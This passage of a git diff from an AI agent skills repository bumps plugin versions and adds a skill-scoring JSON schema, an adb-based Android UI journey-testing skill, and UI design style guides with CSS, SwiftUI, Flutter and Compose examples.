@@ -1,6 +1,6 @@ { "name": "agyb-systems-programming", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Systems Programming\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-typescript-javascript/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-typescript-javascript/.claude-plugin/plugin.json index 1dc94347..e149660b 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-typescript-javascript/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-typescript-javascript/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-typescript-javascript", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"TypeScript & JavaScript\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-typescript-javascript/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-typescript-javascript/.codex-plugin/plugin.json index 2e917b9c..e5ee1ad6 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-typescript-javascript/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-typescript-javascript/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-typescript-javascript", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"TypeScript & JavaScript\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-web-designer/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-web-designer/.claude-plugin/plugin.json index a9bc8d87..8063a1ce 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-web-designer/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-web-designer/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-web-designer", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Web Designer\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-web-designer/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-web-designer/.codex-plugin/plugin.json index 714c9f4d..06a70ede 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-web-designer/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-web-designer/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-web-designer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Web Designer\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-web-wizard/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-web-wizard/.claude-plugin/plugin.json index 7e10fa1e..cd3c9b25 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-web-wizard/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-web-wizard/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-web-wizard", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Web Wizard\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-web-wizard/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-web-wizard/.codex-plugin/plugin.json index 06746296..5a855ca9 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-web-wizard/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-web-wizard/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-web-wizard", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Web Wizard\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/schemas/skill-score.v1.schema.json b/antigravity-awesome-skills/schemas/skill-score.v1.schema.json new file mode 100644 index 00000000..b90eb074 --- /dev/null +++ b/antigravity-awesome-skills/schemas/skill-score.v1.schema.json @@ -0,0 +1,92 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$id": "https://sickn33.github.io/antigravity-awesome-skills/schemas/skill-score.v1.schema.json", + "title": "Antigravity Skill Score v1", + "description": "Quality score record for a single Antigravity skill. Scores are informational only and never block skill usage.", + "type": "object", + "required": ["skill_id", "risk", "scores", "label"], + "additionalProperties": false, + "properties": { + "skill_id": { + "type": "string", + "minLength": 1, + "description": "Skill folder name — matches the 'name' frontmatter field." + }, + "risk": { + "type": "string", + "enum": ["none", "safe", "critical", "offensive", "unknown"], + "description": "Risk classification as declared in frontmatter." + }, + "scores": { + "type": "object", + "required": ["metadata", "documentation", "security", "total"], + "additionalProperties": false, + "description": "Scoring dimensions. All values are in the range [0, 100].", + "properties": { + "metadata": { + "type": "number", + "minimum": 0, + "maximum": 100, + "description": "Metadata completeness score (weight: 30%). Evaluates required and optional frontmatter fields." + }, + "documentation": { + "type": "number", + "minimum": 0, + "maximum": 100, + "description": "Documentation quality score (weight: 40%). Evaluates section coverage, code examples, and content depth." + }, + "security": { + "type": "number", + "minimum": 0, + "maximum": 100, + "description": "Security posture score (weight: 30%). Reduced by detected dangerous command patterns." + }, + "total": { + "type": "number", + "minimum": 0, + "maximum": 100, + "description": "Weighted total: (metadata × 0.30) + (documentation × 0.40) + (security × 0.30)." + } + } + }, + "label": { + "type": "string", + "enum": ["excellent", "good", "needs_improvement", "critical"], + "description": "Human-readable quality label derived from total score. excellent ≥85, good ≥65, needs_improvement ≥45, critical <45." + }, + "flags": { + "type": "array", + "description": "List of security and quality flags detected in this skill.", + "items": { + "type": "object", + "required": ["code", "severity", "message", "line", "matched_text"], + "additionalProperties": false, + "properties": { + "code": { + "type": "string", + "pattern": "^SEC[0-9]{3}$", + "description": "Unique pattern code (e.g. SEC002)." + }, + "severity": { + "type": "string", + "enum": ["error", "warning", "info"], + "description": "Flag severity level." + }, + "message": { + "type": "string", + "description": "Human-readable description of the detected pattern." + }, + "line": { + "type": "integer", + "minimum": 1, + "description": "Line number (1-indexed) in the skill body where the pattern was found." + }, + "matched_text": { + "type": "string", + "description": "The matched text fragment from the pattern." + } + } + } + } + } +} diff --git a/antigravity-awesome-skills/skills/android-ui-journey-testing/SKILL.md b/antigravity-awesome-skills/skills/android-ui-journey-testing/SKILL.md new file mode 100644 index 00000000..13958157 --- /dev/null +++ b/antigravity-awesome-skills/skills/android-ui-journey-testing/SKILL.md @@ -0,0 +1,191 @@ +--- +name: android-ui-journey-testing +description: "XML-specified Android UI journey testing, interactive step execution, assertion verification, and JSON outcome reporting." +category: testing +risk: critical +source: self +source_type: self +date_added: "2026-06-18" +author: Owais +tags: [android, journey-testing, ui-verification, testing, adb, automation] +tools: [claude, cursor, gemini, antigravity] +--- + +# Android UI Journey Testing + +## Overview + +This skill outlines the standard workflow for running XML-specified User Journey tests on Android applications. A "journey" is a sequenced set of user actions and state assertions designed to verify end-to-end functionality. The journey XML acts as the source of truth for the app's behavior. The executor proceeds sequentially, performing UI interactions, checking state assertions, and writing a standardized JSON outcome report. + +## When to Use + +- Use when evaluating an Android application's UI behavior against an XML test specification. +- Use when automating multi-step user flows (e.g., login, checkout, navigation) and verifying expectations. +- Use when running verification tests and generating standardized JSON test reports. +- Use when debugging application flows on physical devices or emulators using ADB commands. + +## How It Works + +```mermaid +graph TD + A[Parse Journey XML] --> B[Execute Action / Interaction] + B --> C{Success?} + C -- Yes --> D[Verify State Expectation / Assertion] + C -- No/Crash --> G[Mark FAILED & Exit] + D -- Passed --> E{More Steps?} + D -- Failed --> G + E -- Yes --> B + E -- No --> F[Output JSON Summary] +``` + +### Step 1: Parse the Journey Specification +Read and parse the XML test suite structure. The root node `<journey>` defines the test case name, and the `<actions>` block contains the sequence of test steps. + +```xml +<journey name="Search and Cart Flow"> + <description>Verify that searching for an item and adding it to the cart succeeds.</description> + <actions> + <action>Search for soda</action> + <action>Tap the first search result</action> + <action>Verify that the product detail screen is shown</action> + </actions> +</journey> +``` + +### Step 2: Sequential Step Evaluation +Process each `<action>` element in the exact order specified. Test steps are classified into two groups: + +#### A. Interactive Actions (Taps, Swipes, Text Input) +Perform the physical UI interaction using ADB. +- **Tapping**: Tap the center of the target element's bounds: + ```bash + adb shell input tap <x> <y> + ``` +- **Swiping/Scrolling**: Swipe from coordinate to coordinate with a duration: + ```bash + adb shell input swipe <x1> <y1> <x2> <y2> <duration_ms> + ``` +- **Text Typing**: Type text into the active input field: + ```bash + adb shell input text "<string>" + ``` +If the element is missing or the action cannot be performed, the action and the journey fail. + +#### B. State Assertions (Expectation Verification) +Steps beginning with "verify", "check", or "ensure" represent state assertions. +- Inspect the current screen (using screenshots or `uiautomator dump`) without interacting or scrolling. +- Confirm all sub-assertions are met. For example, *"Verify that the app is on the Home screen and the logo is visible"* fails if the home screen is not displayed **or** the logo is missing. + +### Step 3: Handle Failures and Crashes +If the application crashes, exits, freezes, or fails an assertion: +1. Immediately stop journey execution. +2. Mark the failed step as `FAILED`. +3. Mark any subsequent steps as `SKIPPED`. +4. Document the exact reason for failure. + +### Step 4: Generate JSON Report +Format the execution results into a standardized JSON schema and write it to the output log. + +--- + +## Examples + +### Example 1: Full Journey XML Specification + +```xml +<journey name="Login and Profile Edit"> + <description>Logs into the app, navigates to settings, and changes user profile information.</description> + <actions> + <action>Verify that the username input field is visible</action> + <action>Tap the username input field</action> + <action>Type "testuser" into the input</action> + <action>Tap the password input field</action> + <action>Type "password123" into the input</action> + <action>Tap the "Login" button</action> + <action>Verify that the Home dashboard is visible and user profile photo is shown</action> + </actions> +</journey> +``` + +### Example 2: Standard JSON Outcome Report + +```json +{ + "journey": "Login and Profile Edit", + "results": [ + { + "action": "Verify that the username input field is visible", + "status": "PASSED", + "commands": [], + "comment": "Username input detected at bounds [100,200][980,300] via UI dump." + }, + { + "action": "Tap the username input field", + "status": "PASSED", + "commands": [ + "adb shell input tap 540 250" + ], + "comment": "Tapped center coordinates of username input." + }, + { + "action": "Type \"testuser\" into the input", + "status": "PASSED", + "commands": [ + "adb shell input text \"testuser\"" + ], + "comment": "Username typed successfully." + }, + { + "action": "Tap the password input field", + "status": "PASSED", + "commands": [ + "adb shell input tap 540 370" + ], + "comment": "Tapped center of password input." + }, + { + "action": "Type \"password123\" into the input", + "status": "PASSED", + "commands": [ + "adb shell input text \"password123\"" + ], + "comment": "Password typed successfully." + }, + { + "action": "Tap the \"Login\" button", + "status": "PASSED", + "commands": [ + "adb shell input tap 540 500" + ], + "comment": "Login button clicked." + }, + { + "action": "Verify that the Home dashboard is visible and user profile photo is shown", + "status": "FAILED", + "commands": [], + "comment": "Dashboard loaded but profile photo was missing from the UI header." + } + ] +} +``` + +--- + +## Best Practices + +- ✅ **Calculate Centers for Taps**: When parsing element bounds like `[x1,y1][x2,y2]`, always compute the middle coordinate: + $$x_{center} = \frac{x_1 + x_2}{2}, \quad y_{center} = \frac{y_1 + y_2}{2}$$ +- ✅ **Include Sleep Buffers**: Always add a short delay (e.g., 1-2 seconds) after interactive actions (like button taps) to let layouts and transitions render before executing assertions. +- ✅ **Fail Fast**: Stop the test immediately upon encountering the first failure. Continuing after a failure leads to invalid results. +- ✅ **Log Precise Commands**: Include every raw command (such as `adb shell input tap`) in the JSON output list for diagnostics. + +## Limitations + +- The parser only evaluates the static screen hierarchy (e.g. `uiautomator dump`). Elements that require scrolling are marked as not visible unless a scrolling action is explicitly performed. +- Non-standard UI components (like custom OpenGL canvas views) cannot be read via standard accessibility trees and may require screenshot analysis or hardcoded click maps. +- Key events and text typing via ADB do not trigger standard soft keyboard events on all emulator images, which can lead to input validation issues. + +## Related Skills + +- `@android-cli` - General CLI tool syntax, package install, and device queries. +- `@android_ui_verification` - Direct ADB script templates for general UI checks. diff --git a/antigravity-awesome-skills/skills/design-it/3d-ui/SKILL.md b/antigravity-awesome-skills/skills/design-it/3d-ui/SKILL.md new file mode 100644 index 00000000..02f97ce6 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/3d-ui/SKILL.md @@ -0,0 +1,259 @@ +--- +name: 3d-ui +description: Web and App implementation guide for 3D UI. Trigger when user wants actual 3D objects, perspective effects, and spatial depth. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# 3D UI + +> "Breaking the plane. Interfaces that exist in a three-dimensional, rotatable space." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **True Depth (Z-Axis Translation)**: Elements don't just have shadows; they physically move closer to or further from the camera. +2. **Perspective**: Use CSS perspective or WebGL to create realistic vanishing points. +3. **Interactive Rotation**: Elements should respond to mouse movement or device gyroscope by tilting or rotating in 3D space. + +## Visual DNA +- **Colors**: Bold, striking palettes like **Midnight Luxury** or **Industrial Chic**. 3D elements need high contrast to show their geometry. +- **Typography**: Bold, blocky, or extruded text. +- **Graphics**: Instead of flat icons, use rendered 3D assets (.glb, .gltf, or high-res PNGs of 3D objects). + +## Web Implementation +- Rely heavily on `perspective`, `transform-style: preserve-3d`, and `rotateX`/`rotateY`. +- **CSS Example**: +```css +.perspective-container { + perspective: 1000px; + display: flex; + justify-content: center; + align-items: center; +} + +.card-3d { + width: 300px; + height: 400px; + transform-style: preserve-3d; + transition: transform 0.5s ease; + + /* Initial slight rotation */ + transform: rotateX(15deg) rotateY(-15deg); +} + +.card-3d:hover { + /* Straighten out on hover */ + transform: rotateX(0) rotateY(0) translateZ(50px); +} + +/* Inner elements popping out */ +.card-content { + transform: translateZ(30px); /* Pushes content 30px closer to viewer */ +} +``` + +## App Implementation + +### SwiftUI +```swift +struct Card3D: View { + @State private var dragOffset = CGSize.zero + + var body: some View { + VStack { + Text("3D Card") + .font(.largeTitle.bold()) + .foregroundColor(.white) + } + .frame(width: 300, height: 400) + .background( + LinearGradient(colors: [.blue, .purple], startPoint: .topLeading, endPoint: .bottomTrailing) + ) + .cornerRadius(24) + .shadow(radius: 20) + // Magic 3D effect based on drag gesture + .rotation3DEffect( + .degrees(Double(dragOffset.width / 10)), + axis: (x: 0, y: 1, z: 0), + perspective: 0.5 + ) + .rotation3DEffect( + .degrees(Double(-dragOffset.height / 10)), + axis: (x: 1, y: 0, z: 0), + perspective: 0.5 + ) + .gesture( + DragGesture() + .onChanged { value in + withAnimation(.interactiveSpring()) { + dragOffset = value.translation + } + } + .onEnded { _ in + withAnimation(.spring()) { + dragOffset = .zero + } + } + ) + } +} +``` +- SwiftUI makes this incredibly easy with `.rotation3DEffect()`. +- Use the `perspective` parameter (default 1/6, higher = more distorted) to control the camera distance. +- Link the rotation axes (`x`, `y`) to drag gestures or CoreMotion (gyroscope) for interactive 3D UI. + +### Flutter +```dart +class Card3D extends StatefulWidget { + @override + State<Card3D> createState() => _Card3DState(); +} + +class _Card3DState extends State<Card3D> { + Offset _offset = Offset.zero; + + @override + Widget build(BuildContext context) { + return GestureDetector( + onPanUpdate: (details) { + setState(() => _offset += details.delta); + }, + onPanEnd: (_) { + setState(() => _offset = Offset.zero); // Snap back + }, + child: TweenAnimationBuilder( + tween: Tween<Offset>(begin: Offset.zero, end: _offset), + duration: const Duration(milliseconds: 200), + curve: Curves.easeOut, + builder: (context, Offset offset, child) { + // Perspective Matrix + final transform = Matrix4.identity() + ..setEntry(3, 2, 0.001) // perspective + ..rotateX(-offset.dy * 0.01) + ..rotateY(offset.dx * 0.01); + + return Transform( + transform: transform, + alignment: FractionalOffset.center, + child: Container( + width: 300, + height: 400, + decoration: BoxDecoration( + gradient: const LinearGradient(colors: [Colors.blue, Colors.purple]), + borderRadius: BorderRadius.circular(24), + boxShadow: const [BoxShadow(color: Colors.black45, blurRadius: 20)], + ), + alignment: Alignment.center, + child: const Text('3D Card', + style: TextStyle(color: Colors.white, fontSize: 32, fontWeight: FontWeight.bold)), + ), + ); + }, + ), + ); + } +} +``` +- The secret to perspective in Flutter is `Matrix4.identity()..setEntry(3, 2, 0.001)`. +- Wrap the target container in a `Transform` widget and apply rotations on the X and Y axes. +- Use `TweenAnimationBuilder` to smooth out the return-to-center physics. + +### React Native +```jsx +const Card3D = () => { + const pan = useRef(new Animated.ValueXY()).current; + + const panResponder = useRef( + PanResponder.create({ + onStartShouldSetPanResponder: () => true, + onPanResponderMove: Animated.event([null, { dx: pan.x, dy: pan.y }], { useNativeDriver: false }), + onPanResponderRelease: () => { + Animated.spring(pan, { toValue: { x: 0, y: 0 }, useNativeDriver: false }).start(); + }, + }) + ).current; + + // Map drag distance to degrees + const rotateX = pan.y.interpolate({ inputRange: [-200, 200], outputRange: ['20deg', '-20deg'] }); + const rotateY = pan.x.interpolate({ inputRange: [-200, 200], outputRange: ['-20deg', '20deg'] }); + + return ( + <Animated.View + {...panResponder.panHandlers} + style={{ + width: 300, height: 400, + backgroundColor: '#6b21a8', + borderRadius: 24, + justifyContent: 'center', alignItems: 'center', + // Pseudo-3D transforms + transform: [ + { perspective: 1000 }, + { rotateX }, + { rotateY } + ] + }} + > + <Text style={{ color: '#fff', fontSize: 32, fontWeight: '700' }}>3D Card</Text> + </Animated.View> + ); +}; +``` +- True 3D models require `react-three-fiber`. +- For UI perspective transforms, use the `transform` array: `[{ perspective: 1000 }, { rotateX: '...' }, { rotateY: '...' }]`. +- `perspective` MUST be the first item in the transform array for the effect to render correctly. + +### Jetpack Compose +```kotlin +@Composable +fun Card3D() { + var offset by remember { mutableStateOf(Offset.Zero) } + val animatedOffset by animateOffsetAsState( + targetValue = offset, + animationSpec = spring(dampingRatio = Spring.DampingRatioMediumBouncy) + ) + + Box( + modifier = Modifier + .size(300.dp, 400.dp) + .pointerInput(Unit) { + detectDragGestures( + onDrag = { change, dragAmount -> + change.consume() + offset += dragAmount + }, + onDragEnd = { offset = Offset.Zero }, + onDragCancel = { offset = Offset.Zero } + ) + } + .graphicsLayer { + // Apply 3D rotation based on drag offset + rotationX = -animatedOffset.y * 0.1f + rotationY = animatedOffset.x * 0.1f + cameraDistance = 8f * density // Sets the perspective + } + .shadow(20.dp, RoundedCornerShape(24.dp)) + .clip(RoundedCornerShape(24.dp)) + .background(Brush.linearGradient(listOf(Color.Blue, Color.Magenta))) + ) { + Text("3D Card", + color = Color.White, fontSize = 32.sp, fontWeight = FontWeight.Bold, + modifier = Modifier.align(Alignment.Center)) + } +} +``` +- Apply 3D transformations inside `Modifier.graphicsLayer { }`. +- Set `rotationX` and `rotationY` for the tilt. +- **Critical**: Set `cameraDistance` to establish the Z-axis perspective vanishing point. Usually `8f * density` is a good starting point. + +## Do's and Don'ts +- **DO**: Tie 3D rotation to user input (mouse move on web, device tilt on mobile) for maximum impact. +- **DON'T**: Make text itself 3D unless it's a massive headline. 3D text is generally unreadable at small sizes. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/SKILL.md b/antigravity-awesome-skills/skills/design-it/SKILL.md new file mode 100644 index 00000000..2fa601fb --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/SKILL.md @@ -0,0 +1,170 @@ +--- +name: design-it +description: "Routes frontend design tasks to 48 specific UI styles. Triggers for websites, app screens, or UI components requesting a specific aesthetic." +category: frontend +risk: safe +source: self +source_type: self +date_added: "2026-06-17" +author: community +tags: [design, ui, frontend] +tools: [claude, cursor, gemini] +--- + +# Design-It: Sophisticated UI Style Router + +This is the main entry point for the **design-it** skill system. Instead of falling back to generic "AI slop" aesthetics, you have access to 48 distinct, deeply opinionated design styles. + +## When to Use +Use this skill when a user requests building any frontend interface (website, app screen, UI component) and you want to apply a specific, opinionated design aesthetic instead of generic defaults. + +## How to Use This Skill + +When a user asks you to build a frontend interface (web or app): +1. **Identify the Style (Fuzzy Matching)**: Look for keywords in their prompt (e.g., "minimal", "glass", "retro"). You do not need an exact match. Use your semantic understanding to map their request to one of the 48 styles. For example: + - "Apple style" or "VisionOS" -> `spatial-design`, `bento-ui`, or `glassmorphism` + - "Windows 8" or "Metro" -> `tile-design` + - "Terminal" or "Hacker" -> `sci-fi-interface` or `brutalist-typography` + - "Bauhaus" or "Clean" -> `swiss-design` + - "Cyber" or "Matrix" -> `cyberpunk-ui` + If they don't specify a style, choose one that best fits the project context. +2. **Read the Style Reference**: Check the **Style Index** below to find the correct path for the chosen style. Use the `view_file` tool to read its specific `SKILL.md`. +3. **Pick a Palette**: If the user explicitly defined a theme or colors, **use their requested colors**. If they did NOT specify colors, you MUST choose from one of the **10 Universal Palettes** below. +4. **Execute**: Write the code following the specific principles of the chosen style. Do not blend styles unless requested. + +## Universal Color Palettes +If the user provides their own colors, use them. Otherwise, you MUST use one of these 10 award-winning, highly sophisticated palettes to avoid generic neon/purplish gradients. When picking a palette, stick to these exact hex codes and establish CSS variables for them. + +1. **Yacht Club** (Nautical / Classic Elegance) + - Backgrounds: `#F9F6F0` + - Primary Text/Accents: `#1B2A49` + - CTA/Highlights: `#C85A32` + - Secondary Base: `#E2D8C9` +2. **Desert Mirage** (Warm / Organic) + - Backgrounds: `#F4EFEA` + - Primary Text/Accents: `#2D2B2A` + - CTA/Highlights: `#A65E44` + - Secondary Base: `#8C8781` +3. **Industrial Chic** (Strong / Minimalist) + - Backgrounds: `#D1D1D1` + - Primary Text/Accents: `#111111` + - CTA/Highlights: `#9A3B3B` + - Secondary Base: `#757575` +4. **Monochromatic Brown** (Comfort / Nostalgic) + - Backgrounds: `#D9CBBF` + - Primary Text/Accents: `#4A362D` + - CTA/Highlights: `#7A4C3A` + - Secondary Base: `#948275` +5. **Earth-Grounded Elegance** (Calm / Sustainable) + - Backgrounds: `#F7F5F0` + - Primary Text/Accents: `#3A4B3A` + - CTA/Highlights: `#8A9A86` + - Secondary Base: `#D3CEC4` +6. **Minimalist Slate** (Professional / Tech) + - Backgrounds: `#F4F4F9` + - Primary Text/Accents: `#2B303A` + - CTA/Highlights: `#5C6B73` + - Secondary Base: `#C0C5C1` +7. **Midnight Luxury** (Premium / Dark Mode) + - Backgrounds: `#0A0A0A` + - Primary Text/Accents: `#F5F5F0` + - CTA/Highlights: `#B59A5F` + - Secondary Base: `#1C1C1C` +8. **Sophisticated Neutral** (Upscale / Lifestyle) + - Backgrounds: `#E6E2DD` + - Primary Text/Accents: `#1F1C1B` + - CTA/Highlights: `#524036` + - Secondary Base: `#B8B0A8` +9. **Warm Tech** (Corporate / Modern) + - Backgrounds: `#EAEAEA` + - Primary Text/Accents: `#1C252E` + - CTA/Highlights: `#C28F79` + - Secondary Base: `#2C3E50` +10. **Modern Editorial** (Magazine / High Contrast) + - Backgrounds: `#F9F9F9` + - Primary Text/Accents: `#121212` + - CTA/Highlights: `#D44A3A` + - Secondary Base: `#8F8F8F` + +## The 60-30-10 Rule +- **60%**: Backgrounds / Secondary Base +- **30%**: Primary Text / Accents +- **10%**: CTA / Highlights + +--- + +## Style Index (48 Styles) + +To use a style, you MUST read its file at `<style-folder>/SKILL.md` relative to this file's directory. + +### Modern UI +- `minimalism` +- `flat-design` +- `flat-design-2` +- `material-design` +- `glassmorphism` +- `neumorphism` +- `skeuomorphism` +- `claymorphism` +- `aurora-ui` +- `bento-ui` + +### Depth & 3D +- `3d-ui` +- `isometric-design` +- `layered-design` +- `floating-ui` +- `spatial-design` + +### Typography +- `swiss-design` +- `editorial-design` +- `typography-first` +- `brutalist-typography` + +### Retro & Historical +- `brutalism` +- `neo-brutalism` +- `retro-design` +- `y2k-design` +- `cyber-y2k` +- `vaporwave` +- `synthwave` +- `frutiger-aero` +- `retro-futurism` + +### Modern Trends +- `dark-mode` +- `monochromatic-ui` +- `gradient-design` +- `duotone-design` +- `color-blocking` +- `soft-pastel` +- `high-contrast` +- `vibrant-maximalism` +- `maximalism` + +### Futuristic +- `cyberpunk-ui` +- `sci-fi-interface` +- `holographic-ui` +- `ai-native-ui` +- `spatial-computing-ui` + +### Data & Product +- `dashboard-design` +- `card-based-design` +- `widget-based-design` +- `tile-design` +- `data-dense-design` +- `command-center-ui` + +## Web vs App Implementation +- **Web (React/Vue/HTML)**: Use CSS variables natively. Prioritize CSS grid/flexbox for layout. Use CSS transitions for hover states. +- **App (React Native/Flutter/SwiftUI)**: Map the palettes to the framework's theme engine. Use platform-specific shadows (elevation) and animations instead of CSS transitions. Maintain the core visual principles while adapting to mobile constraints. + +## Limitations + +- This skill does not replace environment-specific validation, testing, or expert review. +- Stop and ask for clarification if required inputs, permissions, or safety boundaries are missing. + diff --git a/antigravity-awesome-skills/skills/design-it/ai-native-ui/SKILL.md b/antigravity-awesome-skills/skills/design-it/ai-native-ui/SKILL.md new file mode 100644 index 00000000..48f4adfe --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/ai-native-ui/SKILL.md @@ -0,0 +1,295 @@ +--- +name: ai-native-ui +description: Web and App implementation guide for AI Native UI. Trigger when user wants conversational interfaces, adaptive layouts, and generative AI aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# AI Native UI + +> "Fluid, adaptive, and conversational. The interface morphs to serve the content." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Conversational First**: The chat input or voice prompt is the primary navigation method, not a sidebar of links. +2. **Generative States**: Loading states aren't spinners; they are shimmering text, morphing gradients, or skeletal layouts that resolve smoothly into content. +3. **Adaptive Components**: Cards and blocks size themselves dynamically based on the generated content length. + +## Visual DNA +- **Colors**: **Minimalist Slate** combined with **Electric Indigo** or **Neon Pulse** gradients for the AI elements. The background is clean (white or dark grey), while the AI "presence" is represented by a shifting, iridescent gradient. +- **Typography**: Highly readable system fonts (`Inter`, `SF Pro`). +- **Styling**: Subtle glowing borders to indicate AI generation in progress. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #FAFAFA; + color: #1A1A1A; + font-family: 'Inter', sans-serif; +} + +/* The AI Chat Input */ +.ai-prompt-box { + background: #ffffff; + border-radius: 24px; + padding: 16px 24px; + box-shadow: 0 8px 30px rgba(0,0,0,0.05); + border: 1px solid transparent; + + /* AI Glow Border */ + background-clip: padding-box, border-box; + background-origin: padding-box, border-box; + background-image: + linear-gradient(#ffffff, #ffffff), + linear-gradient(90deg, #8A2387, #E94057, #F27121); + + transition: all 0.3s ease; +} + +.ai-prompt-box:focus-within { + box-shadow: 0 12px 40px rgba(233, 64, 87, 0.15); +} + +/* Generative Shimmer Text */ +.ai-generating-text { + background: linear-gradient(90deg, #aaa 0%, #333 50%, #aaa 100%); + background-size: 200% auto; + color: transparent; + -webkit-background-clip: text; + animation: shine 1.5s linear infinite; +} + +@keyframes shine { + to { background-position: 200% center; } +} +``` + +## App Implementation + +### SwiftUI +```swift +struct AINativeInput: View { + @State private var isGenerating = true + @State private var gradientOffset = 0.0 + + var body: some View { + VStack { + // Generative Text Shimmer + if isGenerating { + Text("Synthesizing response...") + .font(.headline) + .foregroundStyle( + LinearGradient( + colors: [.gray.opacity(0.3), .gray, .gray.opacity(0.3)], + startPoint: UnitPoint(x: gradientOffset - 1, y: 0), + endPoint: UnitPoint(x: gradientOffset + 1, y: 0) + ) + ) + .onAppear { + withAnimation(.linear(duration: 1.5).repeatForever(autoreverses: false)) { + gradientOffset = 1.0 + } + } + } + + // AI Input Box + HStack { + TextField("Ask anything...", text: .constant("")) + Image(systemName: "sparkles") + .foregroundColor(.purple) + } + .padding() + .background(Color.white) + .cornerRadius(24) + .overlay( + RoundedRectangle(cornerRadius: 24) + .stroke( + LinearGradient(colors: [.purple, .pink, .orange], startPoint: .topLeading, endPoint: .bottomTrailing), + lineWidth: 2 + ) + ) + .shadow(color: .pink.opacity(0.15), radius: 20) + } + .padding() + } +} +``` +- A shifting `LinearGradient` mask over text creates a beautiful "thinking" state. +- Use a gradient `.stroke` on a `RoundedRectangle` overlay to create the signature AI glowing border around input fields. + +### Flutter +```dart +import 'package:shimmer/shimmer.dart'; + +class AINativeInput extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Padding( + padding: const EdgeInsets.all(16.0), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + // Generative Shimmer + Shimmer.fromColors( + baseColor: Colors.grey[300]!, + highlightColor: Colors.grey[600]!, + child: const Text('Synthesizing response...', + style: TextStyle(fontSize: 16, fontWeight: FontWeight.bold)), + ), + const SizedBox(height: 16), + // AI Input Box + Container( + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(24), + boxShadow: [ + BoxShadow(color: Colors.pink.withOpacity(0.15), blurRadius: 20), + ], + ), + child: Container( + decoration: BoxDecoration( + borderRadius: BorderRadius.circular(24), + // Gradient border simulation + gradient: const LinearGradient( + colors: [Colors.purple, Colors.pink, Colors.orange], + ), + ), + padding: const EdgeInsets.all(2), // Border width + child: Container( + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(22), + ), + padding: const EdgeInsets.symmetric(horizontal: 16, vertical: 4), + child: Row( + children: const [ + Expanded( + child: TextField( + decoration: InputDecoration( + hintText: 'Ask anything...', + border: InputBorder.none, + ), + ), + ), + Icon(Icons.auto_awesome, color: Colors.purple), + ], + ), + ), + ), + ), + ], + ), + ); + } +} +``` +- The `shimmer` package is the absolute standard for AI loading states in Flutter. +- Gradient borders natively don't exist on `BoxDecoration`; simulate them by nesting containers with a gradient background and a solid white inner container. + +### React Native 